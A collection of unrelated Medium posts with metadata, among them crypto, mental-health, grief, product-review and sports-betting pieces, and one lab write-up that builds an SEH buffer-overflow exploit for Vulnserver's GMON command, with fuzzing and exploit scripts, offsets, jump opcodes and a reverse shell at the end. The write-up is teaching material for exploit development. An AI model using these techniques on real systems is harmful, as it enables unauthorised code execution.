malicious and wants to defraud Bob, who relies on zero confirmations for speed and practicality. Alice broadcasts a valid transaction to Bob for the coffee and leaves the store. Alice shortly broadcasts another transaction to herself spending the same coins but with a higher fee than in the transaction to Bob. Finally a block is mined and both transactions can not be valid. By default the Bitcoin network includes the transaction Alice made to herself and Bob is out of pocket. Bitcoin Cash does not have this obscure behaviour built-in and miners rely on time priority as opposed to fee priority. Hence it becomes much harder to execute a successful double spend attack from the moment a transaction is broadcast. Which sounds like the peer-to-peer digital cash? The mighty OP_RETURN The latest upgrade demonstrated the ability of the community to continue to improve the Bitcoin Cash protocol. The major change is the increase of the OP_RETURN byte limit to 220 bytes. This is a huge deal because OP_RETURN allows data to be written directly to the blockchain, nested inside a transaction. This paves the way for more advanced protocols and applications to be built on Bitcoin Cash. Bitcoin’s mere 80 byte OP_RETURN limit and high fees stifled the exploration of the blockchain as a decentralised, distributed and hence censorship resistant database for years. The community has added huge usefulness to the network by making a simple change. A great example of value delivery is Memo.cash, a favourite project of ours. Finally, Bitcoin Cash has more functionality than ever as a result of recently reintroduced OP codes. These can be used to create new types of transactions. A great example is the recent ChainBet protocol created by Jonald Fyookball. Through development execution, we observe the introduction of usefulness. To Conclude We’re extremely excited to be part of this community, and even more so to deploy our Bitcoin Cash based exchange. We want to set the standard for trading. We want people to trade in Bitcoin Cash. The peer-to-peer, electronic cash. It’s a no brainer for us. The Bitcoin Cash community is awesome. It’s filled with productivity, collaboration and innovation. We’ve learnt from our mistakes. Bitcoin was our lesson.

https://medium.com/hello-voltaire/why-bitcoin-cash-is-so-exciting-8d253757dfa4

['The Voltaire Team']

2018-08-13 19:00:55.155000+00:00

['Cryptocurrency', 'Bitcoincash', 'Bitcoin']

Winter is here!

Hello folks, ’tis is the season of Christmas and so of winters and holidays. I hope you are doing just fine and cuddling with your favourite buddy and sipping in some hot chocolate. Today I will talk about winters being trouble for a depression survivor. Yeah, it sounds a bit abrupt, but that’s the truth. Let’s begin! Okay, so winters are usually a season where everything seems to be comfortable, pretty, festive, lovable and a season full of emotions right? But for a depression survivor, it’s the most challenging season to survive as the sun sets early and the darkness around you increases with no time. During evening time you feel lost, you think blank as to what next? And it’s not a one-day thing. It’s a feeling that goes the entire season. I can be sure of it because I have been feeling it since 2018. My two winters have gone in vain as I was not in the right frame of mind even to feel that it’s winters. I was so much into anti-depressants that I barely know how I survived those winters. I guess maybe because of the medication it just passed away, but this year, 2020 I am into my whole self, and I am conscious enough to feel winters this time. And I must tell you it’s not at all easy going. I do follow a proper routine, which includes my food intake on time, walk with my pet under the sun because it’s very very important to be under the sun for a depression patient as it’s one of the best cures for your mood swings and of course vitamin D. For a depression survivor, it’s very tough to fight both this illness and winters as the mind gets too exhausted. Along with this, the physical and emotional capabilities tend to freeze probably because of the laziness the weather causes. Most people will relate to me as to what I am trying to convey because it gets tough to explain to a person who has never been into depression or understand its repercussions. Depression and winters don’t go along well. Both after darkness acts so lousily and lethargic that the person tends to get confused as to what is going on. The moment you are having an excellent fine day with your family/friends by evening that turns out be a disaster as the mind is unable to cope up with so much darkness around and it acts as if that darkness is visible only to you, but that is not the case. Mind tricks you into believing that way. It makes sure that you only see the negative side of darkness and not the other way around. Now people will be like what’s the positive side of the night; well, it’s the calmness, silence and peace. You have to look beyond that. Open your horizons, breathe a little and believe. My depression journey and winters have been like a roller coaster ride, but then I can’t ignore any of them because both are part of me; the illness as well as the season. If I have survived this much and I think I will be able to survive this winters too so you can also. It will help if you accept what is happening to you. Talk about it with your loved ones or therapist or me (if you feel like) and fight the goddamn thing. We are in this together, and we will get over it too. Just sit back, enjoy the last days of this crazy year and be proud of the journey you have so far built. It’s only you who can fight this shit and take one day at a time. I believe in you so you should consider yourself too. All will be fine my fellow warriors, take one day at a time and stay happy, healthy and safe. I will end this blog by a tweet - “You don’t always have to do stuff. Or achieve stuff. You don’t have to spend your free time productively. You don’t have to be doing Tai Chi and DIY and bread making. Sometimes you can be and feel things and get through and eat crisps and survive, and that’s more than enough.” - Matt Haig Take care, hugs from afar. Breathe and let it go. See you until next time. ❤

https://medium.com/@parika-bhatli/winter-is-here-72fdf182468

['Parika Bhatli']

2020-12-18 06:16:26.164000+00:00

['Depression', 'Feelings', 'Mental Health Awareness', 'Seasons', 'Mental Health']

5 Things We All Took For Granted As Kids

1. Matching Pairs of Socks Wow. So simple, yet apparently the hardest thing on planet Earth to do as an adult. We all seem to want to grow up so fast as kids, but when we do, things aren’t quite how we imagined them in our heads. “But, I can’t wait to be a grown up and..” — no. Let me stop you right there. You can. I have never been so frustrated than I have been as an adult. Finding matching socks is SO hard. And let’s be honest, we all know why. Nobody wants to sit there, pairing up 100 thousands pairs of socks when they’re out of the washing. And we’re adults, anyway! “Screw that, I’m going to just buy this pack of socks” (guilty). 2. No Responsibilities I’m not lying when I tell you that, adulting sucks. It really does. Oh, you want to go on holiday? You want time off? You want to jump in a ballpool butt-naked and pretend it’s the 90's? Better ask (read: get permission from) your wife, your girlfriend, your mistress. Inform your kids school teachers, inform the council, the town mayor and the Hubble space station. Get ready to put your plans on hold there, Sport. Because you have responsibilities now. That’s right. Fun? No. You’ve gotta pay bills. What do you mean you “want to watch football”? That’s a negative, son. Get yourself to work. 3. Creature Comforts I don’t know about you, but, I really loved coming home from school and being able to just sit there watching TV or reading a book, or hitting the kerbs with my skateboard. My Mother would be somewhere else. In the kitchen, cooking up a storm. Or upstairs, doing housework. My bed would be upstairs too, where I left it. Except it was made, fresh sheets, ready for me to just jump on in. The roof over my head wasn’t going anywhere if I sat and watched TV for a week straight eating Space Raiders. Feeling safe and secure was just how it was. You didn’t have to worry about paying bills or who was cooking the next meal. So, thanks Mama, shout out to you. 4. Enjoying the Finer Things in Life I grew up in the 90’s. I was born in ’87. I’ve seen things. Things you Generation Alpha kids wouldn’t appreciate today. What do you know about Blockbuster. What do you know about Mortal Kombat nights on Sega Megadrive. If I told you that Tupac and Biggie used to be friends, would you believe me? How many tapes you found in Tony Hawks Pro Skater? It felt MAGICAL. Those who grew up in the 90’s will know, and I say this with absolute genuine sincerity — Shit. Was. Real. Back when Justin Bieber was still shitting in nappies, we were running the streets. Water pistol parties and BBQ’s all Summer long. The weather hit different back then. Everything hit different. The World seemed kinder. The towers still stood. And there was plenty to do. Perhaps I’m wearing rose tinted glasses, but I’m sure you agree, no matter what era you grew up in, that this was a time when we could do anything we wanted. However we wanted. The world of possibilities lay before us, nothing seemed impossible. For me, time didn’t run out, well, at least not until the street lights came on. 5. Freedom to Live Remember when you didn’t have to answer to anybody? Remember when, you could just live your life without having to mind what you say, for fear of offending someone? Remember being able to think freely, without judgement. You could do some stupid shit, and not feel embarrassed, or scared, or helpless. You could think up endless dreams, and they’d all be within reach. You didn’t have to worry about politics, your future, your past. You didn’t have to think about all the boring stuff you do as adults. I think this is the most valuable thing we took for granted. Time runs out. The clock started ticking when we were born, but we just didn’t care as kids. Life is free. It’s a gift that we are given and as children we really took advantage of that freedom. We didn’t worry if time might run out. We didn’t think about tomorrow’s woes or yesterdays regrets. We lived in the present moment. And if you manage to do this as an adult, please leave a comment below and let me know how 😄 All the best.

https://medium.com/@benravetta/5-things-we-all-took-for-granted-as-kids-e1c7ae8d94f4

['Ben Ravetta']

2020-12-16 01:11:20.641000+00:00

['Growing Up', 'Childhood Memories', 'Childhood', 'Adulting', '90s']

Loss

On a cold evening, my mum and I driving back home from a journey and I thought to myself, “Hamza is going to love this gist I have for him”. And then we arrived home and the news broke, my mum came into my room absolutely frantic and kept repeating “Hamza”, “it’s Hamza”, “Boko Haram killed Hamza”, I was incredibly confused at first and then a massive shock descended on me. You see Hamza was my favorite cousin, from when I was a kid till the time he died, i always wanted to hang out with him. He was a joyful soul, he brought so much energy wherever he went, flashing his chipped tooth and his weird laugh that was infectious. He loved the Army so much, I dare say too much, we had both agreed to join the Air force prior to his joining the Nigerian Defence Academy somewhere along the line I got diagnosed with a disability and he switched, he joined the infantry of course because Hamza is energy personified. He fondly called me Air force 1 and in turn I called him Army 1 when he joined the Army. Suddenly i remembered. All the times we spent together while he was alive, the laughs and the fights. On his last visit home, he told me all about how Boko Haram terrorists were operating and how they were crippling them with so much enthusiasm. And then i cried. I cried because I couldn’t reply his last message to me because of faulty internet network and i had so much more to tell him, I wondered, did I do enough to let him know how much I loved him?, if I had replied his message would I feel a little better and not wondering how that conversation could have gone? He lived a good life and died doing what he loved. I hold on to the good memories of him and his wide smile and say to myself, “he knew he was your person Rabi, he did”, and I find a little comfort in that. My advice to you reading this isn’t that you should give flowers to those you love while they’re still here, I just want to tell you that if you ever lost someone and you’re wondering if you gave them enough love that they deserved, the answer is you did. Please don’t be hard on yourself.

https://medium.com/@rabeebuba/loss-e831e9dd6c73

[]

2020-08-21 12:33:58.073000+00:00

['Longing', 'Grief', 'Grief Recovery', 'Sad', 'Grief And Loss']

Vulnserver GMON exploit. SEH based buffer overflow for GMON…

Vulnserver GMON exploit SEH based buffer overflow for GMON command in vulnserver. In this post, we will be exploiting the GMON command of Vulnerver using SEH based buffer overflow. If you are not acquainted with SEH based buffer overflows you can refer to the Exploit Research Megaprimer on Security Tube or Corelan’s tutorials on buffer overflows. If you want to read about vanilla buffer overflows you can read my post here. This post is a writeup for vulnserver and not for understanding how SEH is exploited. We are running the Vulnserver on a Windows 7 x86 VM without any patches. Keep in mind that your exploit may not work if Windows has updated itself. Always turn off automatic updates. We are also using Immunity and mona.py for debugging and boofuzz for fuzzing. Crashing the program! For fuzzing the program we will be using the following script template. This script keeps on fuzzing the server as long as it responds with the banner. from boofuzz import * import time def get_banner(target, my_logger, session, *args, **kwargs): banner_template = b"Welcome to Vulnerable Server! Enter HELP for help." try: banner = target.recv(10000) except: print("Unable to connect. Target is down. Exiting.") exit(1) my_logger.log_check('Receiving banner..') if banner_template in banner: my_logger.log_pass('banner received') else: my_logger.log_fail('No banner received') print("No banner received, exiting..") exit(1) def main(): session = Session( target=Target( connection=SocketConnection("192.168.0.109", 9999, proto='tcp') ),sleep_time=0.5, ) # Setup s_initialize(name="Request") with s_block("Host-Line"): s_static("GMON", name='command name') s_delim(" ", fuzzable=False) s_string("FUZZ") s_delim("\r ") # Fuzzing session.connect(s_get("Request"), callback=get_banner) session.fuzz() if __name__ == "__main__": main() Few seconds after running the program we can see that the application has crashed. No Banner as program crashed Boofuzz stores the result of the fuzzing session in an SQLite database. We can see that the payload of 5013 bytes has crashed the program. Now we try to replicate the crash using our handy script which will slowly develop into the exploit. import socket import os import sys host = "192.168.0.109" port = 9999 buffer = 'A'*5013 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) s.send("GMON /.:/" + buffer) print s.recv(1024) s.close() We attach Immunity Debugger to the vulnserver.exe process and examine the crash. We can see that the SEH Handler is overwritten with 0x41. Registers are overwritten with 41 SEH Chain corrupted with 41 Now we need to find the exact offset after which the SEH Handler gets overwritten. We use msf-pattern_create to generate a unique string of length 5013 and send it instead of ‘A’s. We get the offset as 3519. The position of the nSEH record is 4 less than the SEH record so the offset for nSEH is 3515. To verify we send the following payload. #Original crash payload size = 5013 #SEH Handler Offset = 3519 #nSEH Offset is 3519-4 = 3515 seh = "BBBB" nseh = "CCCC" buffer = 3515*"A" buffer+= nseh buffer+= seh buffer+= "D"*(5013-len(buffer)) s.send("GMON /.:/" + buffer) Successfully placed B and C in SEH and nSEH respectively Checking for bad characters We send the usual bad characters test array without 0x00 since it is almost always a bad character. We place the bad characters array inside the ‘A’ buffer area and see if any gets corrupted in memory. No bad characters detected other than 0x00 POP, POP, RET! We use mona to find a location in the program which has the POP POP RET sequence using the command !mona seh . POP POP RET locations We will be using 0x6250172B address in our exploit. This address will be placed in the SEH variable in our exploit and for nSEH, we will place opcode for a short jump of 6 bytes. Our exploit will be something like: #Original crash payload size = 5013 #SEH Handler Offset = 3519 #nSEH Offset is 3519-4 = 3515 seh = "\x2B\x17\x50\x62" nseh = "\xEB\x06\x90\x90" buffer = "" buffer+= "A"*3515 buffer+= nseh buffer+= seh buffer+= "D"*(5013-len(buffer)) s.send("GMON /.:/" + buffer) We set a breakpoint on 0x6250172B and proceed step by step. First the POP, POP, RET sequence executes and the control jumps to nSEH. Breakpoint added on POP POP RET memory location After that, there is a short jump and we land in our small pool of ‘D’s 😅. There no space to fit a reverse shell shellcode in place of the ‘D’s. But there are lots of ‘A’s so we will be using that space. Short Jump Jumping Back For jumping back we need to know the exact number of bytes we need to jump so that we can reach the beginning of ‘A’s. We can use the Offset tool to get the difference between the ESP and the address of the first ‘A’. Now that we know the offset (0x565), we need to write some assembly to jump back. push esp pop eax add ax, 0x565 jmp eax We get the opcodes using msf-nasm_shell and place it the the ‘D’ area of our buffer. seh = "\x2B\x17\x50\x62" nseh = "\xEB\x06\x90\x90" jumpback = "\x54\x58\x66\x05\x65\x05\xff\xe0" buffer = "" buffer+= "A"*3515 buffer+= nseh buffer+= seh buffer+= jumpback buffer+= "D"*(5013-len(buffer)) Verify the exploit by setting up a breakpoint and proceeding step by step. After the short jump of 6 bytes, the program jumps back and starts executing the ‘A’s. EIP is at the memory location where ‘A’s are stored Finally, we place the shellcode with some nop sled at the beginning of the buffer in place of ‘A’ and execute. We have a shell! Got reverse shell! Reference

https://sghosh2402.medium.com/vulnserver-gmon-command-exploit-1cdde13d2d64

['Sourov Ghosh']

2020-04-10 22:10:36.973000+00:00

['Security', 'Hacking', 'Exploit Development', 'Exploit Exercise']

Astell&Kern KANN Alpha review: This digital audio player delivers the high-res goods

The KANN Alpha is the third model in Astell&Kern’s acclaimed KANN series, following the KANN (reviewed in 2018) and the KANN Cube (reviewed in 2019). These are high-end, high-res digital audio players (DAP) designed to deliver pristine audio to just about any headphone you might decide to pair it with—regardless of impedance. The Alpha continues the KANN line’s superlative pedigree, but only a select audience will be willing to hand over $1,099 to attain its drool-worthy feature set and very high performance. This player is perfect for owners of difficult-to-drive headphones; music lovers who demand the latest advancements in wireless audio, including Bluetooth 5.0; people who demand broad high-res codec support; audiophiles who want to take full advantage of 4.4mm balanced audio support. This review is part of TechHive’s coverage of the best mobile digital audio players, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.Cutting-edge features, unrivaled codec supportHaving reviewed Astell&Kern’s previous two KANN models, it’s clear that each model has a specific focus. Whereas the KANN Cube was geared towards the audiophile demanding no-compromise performance and balanced audio connections to high-end audio gear, the KANN Alpha seems targeted towards the audiophile who demands the latest high tech features and wireless standards. The KANN Alpha uses USB-C for all digital connectivity and charging. That’s a welcome sight given the original KANN’s dual-personality with both micro-USB and USB-C connectors—each with different purposes. Connect the USB-C to your computer and you can use the KANN Alpha as an all-in-one headphone amp and DAC. Theo Nicolakis / IDGThe heart of the Alpha is an ESS Sabre ES9066AS DAC. The ES9066AS is a 32-bit stereo DAC with MQA rendering. The DAC will decode MQA, FLAC, ALAC, AIFF, WAV, and every major legacy audio format, including native DSD256 decoding. The KANN Alpha’s wireless codec support is unrivaled. The Alpha supports LDAC, MQA, aptX HD, aptX, AAC, and—of course—SBC Bluetooth codecs. The Alpha even supports MQA-CD playback when playing MQA-CD’s via Astell&Kern’s CD-Ripper. Mentioned in this article Astell&Kern KANN Cube Read TechHive's reviewMSRP $1,499.00See it Codec support doesn’t stop there. The Alpha’s settings menu allows you to select a preferred codec for all your wireless connections. When it comes to LDAC, you have a choice between audio quality optimization or connection quality optimization. If one of the Alpha’s onboard codecs isn’t supported by your headphones or other Bluetooth receiver, then the Alpha will switch to a mutually supported codec. Bluetooth 5.0 is on board, giving you a huge advantage in wireless operating range, speed, low power consumption, and security features. You’ll see a theoretical maximum of 800 feet in open spaces and about 130 feet in typical indoor spaces—that’s a far cry from the 33 or so feet in Bluetooth 4.2. Likewise, Bluetooth 5.0 delivers twice the speed of Bluetooth 4.2: 2Mbps vs. 1Mbps. Astell&Kern touts the KANN Alpha’s quad-core CPU. In my testing, Astell&Kern either needs to bump the processor’s performance or optimize the underlying operating system a bit more. While the KANN Alpha is generally responsive, there were times where the player would just lag. I couldn’t find a consistent rhyme or reason. I sometimes found myself clicking things two or three times, unsure if the player had registered my input. While the lag is nowhere near the dog-awful performance of the now defunct AK Jr, for a player in this price range, performance should be snappy and precise. It’s worth noting that the KANN Alpha retains the rich feature set of all Astell&Kern players, including DLNA network streaming. I’ll point you to my AK70 review for a more in-depth discussion of all those features. Introducing 4.4mm balanced audio outputThe KANN Alpha sports familiar 3.5mm unbalanced and 2.5mm balanced outputs. The Alpha is the first Astell&Kern DAP to sport a 4.4mm balanced headphone connection. Astell&Kern says its 4.4mm implementation is unique and noise-free because the Alpha physically separates the 2.5mm and 4.4mm outputs using microrelays. The Alpha’s design prevents noise and interference from outputs that aren’t in use by switching them off. Smart. Theo Nicolakis / IDG Detailed view of the KANN Alpha’s 2.5mm, 3.5mm, and 4.4mm headphone outputs. Power and battery lifeClean power is the measure of any high-performance audio system, and the Alpha’s amplifiaction is superb. The Alpha’s internal amplifier has three gain settings—low, medium, and high—so you can match the amplifier’s output to your headphone’s impedance. Setting the amplifier to high and using the KANN’s balanced output, you’ll be able to take advantage of the Alpha’s 12Vrms output, which is the same output as the massive KANN Cube. Setting the amplifier to high will drain the battery quickly and Astell&Kern recommends connecting the USB-C charging cable if you use the amplifier in the high gain setting. [ Further reading: The best headphones you can buy ]Draining the battery quickly is a relative term and will depend on several factors including the types of audio files you’re playing and volume levels you’re playing them at. Battery life is rate at 14.5 hours of continuous playback. You can get a full charge in about 3.5 hours. In real-world use, I sometimes went days without needing to recharge the KANN Alpha. Protecting your hearingHearing is a precious gift. Thankfully, protecting our hearing is getting a bit easier. For the first time, an Astell&Kern DAP gave me a loudness warning. If I set the player above 50 with the 2.5mm balanced connection, or 60 with the 3.5mm output, the player warned me I could permanently damage my hearing. I had the option to defeat that warning message or enable volume limits in settings. Doubles as an artistic statementThe KANN Alpha’s gorgeous design continues Astell&Kern’s seemingly endless play with geometric design and textures. When you buy an Astell&Kern high-res player, you’re buying a work of art as much as you are a DAP. To me, the KANN Alpha’s design is a synthesis of the KANN Cube and elements of the SA700. The player’s all-aluminum casing has different finishes on each side. The back sports a black, brushed-aluminum finish with the words KANN machine engraved into the player’s body. The name Astell&Kern, with model and power requirements, are laser engraved. That lettering, however, only becomes visible when you shine a light on it, much like the One Ring’s Tengwar script from the Fellowship of the Ring, which appeared only when heated in fire. Theo Nicolakis / IDGThe player’s sides and bottom are matte-finished and untextured. This time around, Astell&Kern chose to protrude the front glass ever so slightly from the player’s body and round the glass sides and edges. The tactile experience is amazing and the rounded edges create a singular line of light that complements the player’s beveled, aluminum edge. Astell&Kern seems to be joining the 1980s throwback party by including a ceramic black, mirrored finish along the KANN Alpha’s top. Gold circular accents around the three heapdhone inputs complement the black mirrored finish. The gold color pallet reminded me of the similar black and gold color pallet on legendary high-end audio gear from Nakamichi and Pioneer Elite. Astell&Kern says there is a special coating applied to the ceramic surface to prevent fingerprints and smudging, but I didn’t find it to be effective. In my hands, the KANN Alpha’s high gloss ceramic finish and front glass were far from oleophobic. They both collected fingerprints easily and at a far higher rate than my iPhone 12. I found myself wiping the high gloss finish and glass every now and then. Ephe Nicolakis / IDG Top view of the KANN Alpha’s high gloss ceramic finish. The KANN Alpha maintains the same mesmerizing LED illumination around the player’s volume knob that I first experienced in my review of Astell&Kern’s SA700 DAP. Unlike the SA700, where the LED ring took center stage, Astell&Kern has given it a more subdued role, recessing the LED ring almost inside the player’s casing. You’ll notice it if you look at the KANN Alpha from the side, but the LED ring is largely shielded from view when you look at the player head on. Theo Nicolakis / IDG A recessed LED illuminates to tell you the resolution of the file you’re playing. As with the SA700, the LED ring isn’t just a design element, it gives you a visual indication of the file format you’re playing. Red indicates you’re playing a 16-bit file; green, 24-bit; blue, 32-bit, and purple indicates DSD. If you don’t like the LED feature, you can turn it off through the settings menu. The LED temporarily changes to a red color pallet when you adjust the volume. The LED increases saturation to a light-saber red as you turn the volume louder, and it de-saturates towards a light rose color as you turn the volume down. The LEDs worked as expected with local files and the Open APP version of Tidal, but I encountered an anomaly with Quobuz. With that service, both CD-quality and all high-res files up to 24-bit/192kHz showed only a red LED. Either Quobuz wasn’t streaming the high-res files advertised, or there’s a bug in the Quobuz app that isn’t registering properly with the Alpha. Three rectangular buttons on the left side (in contrast to the KANN Cube, where the buttons sit below the volume knob on the right) are unmarked. By now, Astell&Kern assumes everyone knows the top button is previous track, the middle is play/pause, and the bottom is next track. Open APP ServiceA valid criticism of Astell&Kern players over the years would have rightly been the dearth of apps and supported music services. In the past, I would have been paying more careful attention to the KANN Alpha’s 64GB internal storage and 1TB micro SD card support. But now, with the introduction of Astell&Kern’s Open APP feature and support for streaming services with high-res audio files, that’s less of a pressing issue. Astell&Kern’s Open APP lets you install just about any major streaming service onto the player. I first experienced Open App in my Astell&Kern SR15 review. As of this writing, 10 Astell&Kern players support Open APP. Ephe Nicolakis / IDG Rear view of the KANN Alpha’s multi-angled, multi-textured aluminum body and physical button controls. I have a serious love-hate conflict with Open APP. The good news about Open APP is that you can install Apple Music, Tidal, Qobuz, Amazon Music, Spotify, and a dozen more streaming services to suit your taste or current subscription. The downside is that the Open APP installation process remains clunky and requires a computer. You can indulge yourself in the step-by-step installation process here. I’m sure you’ll agree that you shouldn’t have to go through a nine-step installation process on a $1,000+ DAP. At some point in Open APP’s evolution, Astell&Kern should pre-load all these apps into the player as “ready to install,” and then provide the end user the ability to perform an over-the-air (OTA) installation over Wi-Fi. The other approach would be to pre-install a dozen or so of the most popular and allow the end user to turn them on or off. Astell&Kern just needs to make it easier for the user to get the music services they want. While I’m truly thankful that Astell&Kern has Open APP, it’s clunky implementation sticks out like a sore thumb against the meticulous detail A&K pays to the rest of the user experience. Effortless, musical blissI used Focal Clear, Bowers & Wilkins P9 Signature, Oppo PM-2, and Beyerdynamic Amiron Home headphones with the KANN Alpha. I used a Kimber Cable Axios 2.5mm balanced cable with the Focal Clear. Though I also paired the KANN Alpha with a pair of Bowers & Wilkins PX Wireless headphones, my comments below pertain to my wired listening. The KANN Alpha’s effortlessness is astonishing. The Alpha’s firm, unrelenting sonic grip on every single headphone was completely insane. The KANN Alpha’s control revealed ripples and textures on the classic bass lines in James Blake’s “Limit to your Love.” The Alpha articulated the details and decay of bass strings on Ingrid Michaelson’s “The Way I Am.” I noted deep, controlled, pulsating bass on Katie Melua’s “Sailing Ships from Heaven.” No matter the track, there was no smearing and no muddiness. It goes without saying that to get the most of the KANN Alpha’s bass performance, you’ll want to use closed-back headphones. The Focal Clear and Oppo PM-2 open-back headphones couldn’t deliver the deep bass performance their closed-back counterparts were capable of. That sonic grip comes at a price: The KANN Alpha is a brutally honest customer. It won’t cuddle you or euphonize sub-par headphones. It will lay bare any shortcomings in your headphones and your source material. Theo Nicolakis / IDG Detailed view of the KANN’s knurled volume and multi-angled industrial design. I shook my head again and again, track after track at the attack, detail, and bass control on anything I threw at it. Music seems to emanate from a velvety black background with this player. The noise floor and channel separation are superb, allowing you to peer deeply into the music. Rebecca Pidgeon’s “Spanish Harlem,” by Chesky Records, is a reference-grade recording. It was easy to follow the subtlest decays of Ms. Pidgeon’s vocals through the KANN Alpha. Ephe Nicolakis / IDG The KANN Alpha’s display is bright, but it’s UI exhibited some lag at times. In fact, the KANN Alpha’s sound is so clean and distortion-free that you’ll be tempted to bathe yourself in sound for hours. You can easily lose track of how loud you’re listening to it. The KANN Alpha’s presentation is consistent with other ESS Sabre-based players I’ve reviewed. The presentation won’t woo you with warmth; rather, the music is clean, transparent, and detailed with airy highs and tight, controlled bass. Astell&Kern hasn’t added any artificial bumps or overemphasis. I will note that during my review period, the KANN Alpha’s body had a tendency to get warm to quite warm. How warm will depend on your headphone’s impedance and if you’re decoding DSD and high-res files. A grand slamAstell&Kern’s KANN Alpha hits a grand slam—though not without a few stumbles around the bases. The Alpha earns its place among the finest high-res audio players I’ve reviewed. By any measure, the KANN Alpha is a superlative high-res DAP. If you’re an audiophile who wants the freedom to connect any high-end headphone, you also want to connect your high-res DAP to your stand-alone setup, you might find the KANN Cube a better fit. If portability in a slimmer form factor is a higher priority, then you should add the SA700 to your short list. But if you’re looking for a middle ground, something that can drive any headphone, fit in the palm of your hand, and deliver cutting-edge wireless audio tech, the Alpha is your ticket. The Alpha’s gorgeous design; high-powered amplification; 40-meter wireless range with Bluetooth 5.0; unparalleled high-res wireless codec support; generous battery life; 2.5 and 4.4mm balanced audio connections; and effortless sound with dual ESS ES9068AS DACs are just the introduction to a long list of specs and features that truly make this the “Alpha” player among its peers. Its occasional sluggishness, clunky Open APP architecture, and fingerprint-prone surfaces are minor annoyances; they certainly aren’t enough to dampen my spirits about this superlative-sounding high-res DAP. Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details.

https://medium.com/@lisa51822441/astell-kern-kann-alpha-review-this-digital-audio-player-delivers-the-high-res-goods-3850557b05b9

[]

2020-12-23 23:45:36.686000+00:00

['Internet', 'Services', 'Home Tech', 'Chargers']

The Power of Understanding.

With more understanding, unity is possible. 5 Really Subtle Signs That Tell You a Lot About a Person by Darshak Rana My Symbol of Unity. Image by Annelise Lords “If you can understand human behavior, it can’t hurt you nearly as much.” By Carol Plum-Ucci. This quote stuck in my head forever. And being a voracious reader by nature, I started reading books about human behavior when I became a teenager. The more I read, the better understanding I began to gain. I realized that if I could master the art of reading body language, I could know everything about a person in and out. In short, I desired to become a live lie-detecting machine. Darshak Rana I agree with the above quote about understanding. I have proven it to be true. While studying the personality, actions, choices, and decisions of all the adults and children I know and meet. Family, friends, and foes too. I learn that the understanding of humanity is power, and it makes things easier to digest, clearer to see, and thus making forgiveness easier for me and many others. With a lot of it, our lives are less complicated, and we will be able to live better. The more understanding we are, the more choices we have. It makes us more compassionate and more considerate towards each other. It allows us to extend more generosity towards others. It opens the door wider to tolerance. With a lot of understanding, unity is possible. Unity is what we have on this platform, sharing knowledge, experience, and wisdom, while educating, uplifting, motivating, entertaining, encouraging, etc., both writers and readers. Special thanks to the editors and everyone on this platform that makes it possible for us to share what we know. I hope Christmas is safe, peaceful, healthy, and enjoyable for all and their family. Thank you for reading this piece and I hope today is perfect for you.

https://medium.com/illumination/the-power-of-understanding-581482818070

['Annelise Lords']

2020-12-25 14:34:46.442000+00:00

['Illumination', 'Christmas', 'Love', 'Unity', 'Understanding']

W11 NFL Monte Carlo Simulated Scores & Cover Probabilities

How to interpret the ISW’s New Look Tables p (win) = Implied win probability per team based on the results stemming from 10,000 monte carlo simulated games (e.g. NYJ won 5,156 / 10,000 simulated games → NYJ’s p(W) % = 51.6%). Avg. Score = The average (projected) score per team derived from 10,000 simulated games. Spread = The average point differential between the two average scores. Avg. Total vs. Market = The average total is equal to the the sum of each team’s average projected scores. The market is what ESPN’s quoted total (‘over /under’) is. Market Spread = The current line or spread per ESPN’s NFL Daily Lines. p (cover) % = Estimated likelihood that each team covers the spread given the market spread based on our 10k monte carlo simulations. p (cover total) % = The likelihood that the total (i.e. the sum of each team’s final scores) goes over ‘O:’ or under ‘U:’ the market total based on 10k monte carlo simulations. The ISW’s New NFL Power Ratings: Week 11 The ISW employs its proprietary power rating system each NFL season beginning with preseason power ratings that are adjusted weekly according to team performance against the spread (ATS) as well as margin of victory throughout the season. Starting in Week 10, The ISW commenced an experimental multivariate power ratings approach. New Power Ratings Methodology incorporates the following season-long team data: yards per point margin (YPPM), net yards per play (NYPP), average scoring margin (ASM), winning %, average performance against the spread (ATS), yards per pass attempt (YPPA), yards per rush attempt (YPRA), and pythagorean winning % (PYTH). We run a weekly correlation calculation to determine the weights of each variable as correlated to pythagorean winning %, which we believe is the purest descriptive statistic of a team’s relative strength. ISW’s NFL Week 11 Power Rating Correlation Matrix We then take a weighted average by multiplying each team’s descriptive data point by the metric’s respective correlation coefficient, sum the results (per team) and divide by 2 to arrive at our weekly power ratings. The ISW’s Power Rating Spread = The difference between each team’s power rating along with a standard home field edge of 1.00 (modified from 2.31 points due to lack of fans). Market Moneyline: The quoted moneyline per ESPN’s NFL Daily Lines. Fair Value Implied Odds: The implied fair value win probability (accounting for the sportsbooks’ overround and vigorish) equivalent of the Market Moneyline. Est. Fair Value Moneyline: Our estimated fair value price based on the net average ‘Avg p(win) %’ of our estimated win probability along with FiveThirtyEight’s traditional ELO win probability and ESPN’s FPI. NFL Week 11 ISW Simulated Scores & Odds Early Sunday Slate

https://medium.com/the-intelligent-sports-wagerer/w11-nfl-monte-carlo-simulated-scores-cover-probabilities-1eacadda36c4

['John Culver']

2020-11-23 16:28:03.693000+00:00

['Monte Carlo Simulation', 'NFL', 'NFL Picks', 'Fantasy Football', 'Sports Betting']

SpotCam Eva 2 review: a much-improved security camera

The original SpotCam Eva, which we reviewed in 2016, was a pretty clunky camera, both in terms of its bulky design and its unpolished performance. It was apparent, however, that it contained the seeds of something better, and those have come to fruition in the SpotCam Eva 2. The rebooted camera has a “snowman” shape that’s neither particularly attractive nor an eyesore, but it’s smaller and easier to hide in plain sight than the original. It also has a wider field of view (130 degrees) and adds a built-in siren and two-way talk capabilities, Amazon Alexa and Google Home integration, and it supports automatic person tracking. Pan-and-tilt is still its core feature, but this feature works much better than it did in the previous iteration. This review is part of TechHive’s coverage of the best home security cameras, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.The first evidence that the Eva 2 had improved on its predecessor surfaced during the setup process. There are no switches to flip or modes to toggle, just a few app-prompted steps to connect the camera to your network. I got the camera up and running in about a minute. I set the camera on a shelf in my living room, but it can also be used outdoors. It has an operating temperature of 14 degrees to 122 degrees Fahrenheit and comes with anchors and screws to mount it to an exterior wall or fence. Keep in mind it uses AC power, so you’ll need proximity to an outdoor outlet or an accessible indoor one if you deploy it outside. SpotCam SpotCam Eva 2 is leaner and performs better than its predecessor, but it still provides the same 